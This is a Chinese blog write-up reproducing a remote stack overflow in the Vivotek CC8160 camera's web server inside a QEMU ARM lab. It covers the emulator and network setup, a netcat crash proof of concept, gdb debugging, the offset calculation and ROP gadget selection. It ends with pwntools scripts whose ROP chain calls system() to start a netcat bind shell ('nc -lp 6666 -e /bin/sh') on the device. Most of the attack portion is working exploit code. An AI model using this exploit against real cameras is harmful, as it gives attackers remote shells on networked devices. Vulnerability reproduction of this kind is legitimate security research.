首页 > 其他分享 >Vivotek CC8160 栈溢出漏洞复现

Vivotek CC8160 栈溢出漏洞复现

时间:2024-07-25 13:42:12浏览次数:8  
标签:iptables sudo r0 r1 libc CC8160 192.168 复现 Vivotek

漏洞文件

https://github.com/Vu1nT0tal/IoT-vulhub/tree/master/VIVOTEK/remote_stack_overflow

另需文件

arml内核,文件系统,arm-gdbserver,initrd。
https://people.debian.org/~aurel32/qemu/armel/

启动qemu-system

qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

qemu-system里执行

ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254

宿主机执行

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

传输文件

scp -r squashfs-root/ [email protected]:/root

启动程序

chmod -R 777 squashfs-root/
chroot ./squashfs-root/ /bin/sh
./usr/sbin/httpd
启动不成功,根据复现博客说的是固件通过主机名获取ip,如果主机名和固件的主机名不一样
就无法获取ip
/ # hostname
debian-armel
/ # vi ./etc/hosts 
./usr/sbin/httpd

image.png
image.png

测试POC

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | netcat -v 192.168.100.2 80

image.png
程序成功dump

gdb调试

qemu

/ # ./usr/sbin/httpd 
sendto() error 2
[debug]add server push uri 3 video3.mjpg
[debug]add server push uri 4 video4.mjpg
[debug] after ini, server_push_uri[0] is /video3.mjpg
[debug] after ini, server_push_uri[1] is /video4.mjpg
AM_ParseConfigFile failed
fopen pid file: No such file or directory
/ # [29/Jan/2024:14:21:37 +0000] boa: server version 1.32.1.10(Boa/0.94.14rc21)
[29/Jan/2024:14:21:37 +0000] boa: starting server pid=2523, port 80
/ # ./arm-gdbserver --attach 192.168.100.254:1234 2523
Attached; pid = 2523
Listening on port 1234

user

gdb-multiarch ./usr/sbin/httpd
pwndbg> set architecture arm

pwndbg> target remote 192.168.100.2:1234
pwndbg> c

image.png
计算出溢出量是0x33
程序开启了NX不能使用shellcode
ROPgadget查找需要用的gadget

思路

arm的函数传参顺序是r0,r1,r2,r3,r4
所以我们需要把/bin/sh传到r0

ROPgadget --binary ./lib/libuClibc-0.9.33.3-git.so --only "pop|mov"

0x00033100 : pop {r0, pc}#因为strncopy遇见00会截断所以不能用这个
0x00048784 : pop {r1, pc}#pc相当于x86的ret
0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}

先确定r0的指向

from pwn import*
import requests
p=remote('192.168.100.2','80')

libc=ELF('./lib/libc.so.0')
context.log_level='debug'
libc_base=0xb6f2d000
pop_r1=0x00048784+libc_base
mov_r0_r1=0x00016aa4+libc_base
system=libc_base+libc.sym['system']
stack = 0xbeffeb60
amd='aaaaaa'
head = b"POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = b'b'*(0x00003c-8)+p32(pop_r1)+p32(stack)+p32(mov_r0_r1)+b'b'*8+b'bbbb'
end = b'aaaaaaaaa'

p.sendline(head+payload+end)
p.interactive()

image.png

利用

我们通过执行nc开启端口来连接shell

from pwn import*
import requests
p=remote('192.168.100.2',80)

libc=ELF('./lib/libc.so.0')
context.log_level='debug'
libc_base=0xb6f2d000
pop_r1=0x00048784+libc_base
mov_r0_r1=0x00016aa4+libc_base
system=libc_base+libc.sym['system']
stack = 0xbeffeb64
amd='aaaaaa'
head = b"POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = b'b'*(0x00003c-8)+p32(pop_r1)+p32(stack)+p32(mov_r0_r1)+b'b'*8+p32(system)
end = b'nc  -lp 6666 -e /bin/sh;'+b'\r\n\r\n'

p.sendline(head+payload+end)

image.png

标签:iptables,sudo,r0,r1,libc,CC8160,192.168,复现,Vivotek
From: https://www.cnblogs.com/blonet/p/18322819

相关文章

  • 天问物业ERP系统 ContractDownLoad.aspx 任意文件读取漏洞复现
    0x01产品简介天问互联科技有限公司以软件开发和技术服务为基础,建立物业ERP应用系统,向物管公司提供旨在降低成本、保障品质、提升效能为目标的智慧物管整体解决方案,实现物管公司的管理升级;以平台搭建和资源整合为基础,建立社区O2O服务平台,向物管公司提供旨在完善服务、方便业主......
  • 复现
    DownUnderCTF2024parrottheemu猜测sstizoofeedbackformXXE文件读取co2python原型链污染看到关键点,/save_feedback和get_flag当我们在feedabck传入信息,信息回传到save_feedabck保存,get_flag用于检测传入的值是否为true,如果值为true,在get_flag中就能访问到flag......
  • 【待做】【攻防技术系列+漏洞复现】MS-17010
    虚拟机环境搭建:Kali,192.168.10.131win7,192.168.10.133winXP,192.168.10.137众所周知,msfconsole是一款神器的工具,里面具备了市面上绝大多数的payload,而在往常的ms17010漏洞最常见的四个payload如下:漏洞检测payload:auxiliary/scanner/smb/smb_ms17_010x64架构漏洞利用pay......
  • CNE6因子复现系列——波动率因子Volatility
    1.波动率因子Volatility  CNE6当中,波动率因子Volatility是一个一级因子,有二级因子BETA和ResidualVolatility,其下还有多个三级因子。一级因子二级因子三级因子VolatilityBETABETAResidualVolatilityhistorysigmadailystandarddeviationcumulativerange2.三级因......
  • Tomcat系列漏洞复现
    Tomcat系列漏洞复现Tomcat7+弱口令&&后台getshell漏洞漏洞说明Tomcat7+权限分为:manager(后台管理)manager-gui拥有html页面权限manager-status拥有查看status的权限manager-script拥有text接口的权限,和status权限manager-jmx拥有jmx权限,和status权限host-manage......
  • Apache Tomcat文件包含漏洞复现(详细教程)
    1.漏洞原理 Tomcat服务器是一个免费的开放源代码的Web应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。Tomcat和IIS等Web服务器一......
  • 【漏洞复现】SuiteCRM SQL注入漏洞(CVE-2024-36412)
    0x01产品简介SuiteCRM是一款屡获殊荣的企业级开源客户关系管理系统,它具有强大的功能和高度的可定制性,且完全免费。0x02漏洞概述SuiteCRM存在SQL注入漏洞,未经身份验证的远程攻击者可以通过该漏洞拼接执行SQL注入语句,从而获取数据库敏感信息。0x03搜索引擎title="Suit......
  • 传知代码-揭秘AI如何揪出图片中的“李鬼”(论文复现)
    代码以及视频讲解本文所涉及所有资源均在传知代码平台可获取文字篡改图像的“照妖镜”:揭秘AI如何揪出图片中的“李鬼”在数字化时代,我们时常被各种图像信息所包围。然而,这些图像中有时隐藏着不为人知的秘密——被篡改的文字或图像。这些被篡改的内容可能误导我们的判断,......
  • Goby漏洞发布 | CVE-2024-4879 ServiceNowUI /login.do Jelly模板注入漏洞【已复现】
    漏洞名称:ServiceNowUI/login.doJelly模板注入漏洞(CVE-2024-4879)EnglishName:ServiceNowUI/login.doInputValidationVulnerability(CVE-2024-4879)CVSScore:9.3漏洞描述:ServiceNow是一个业务转型平台。通过平台上的各个模块,ServiceNow可用于从人力资源和员工管理到自动......
  • MATLAB程序复现-考虑余热回收的电-氢-热综合能源系统随机分布鲁棒韧性规划
    摘要:在我国能源系统耦合日益加深和极端灾害日益频发的新形势下,建设韧性综合能源系统势在必行。该文考虑数据中心和氢能设备的余热回收利用,提出电-氢-热综合能源系统随机分布鲁棒韧性规划方法。首先,根据设备的产热原理,对数据中心、电解槽和掺氢燃气轮机的能量转换和余热回收过程......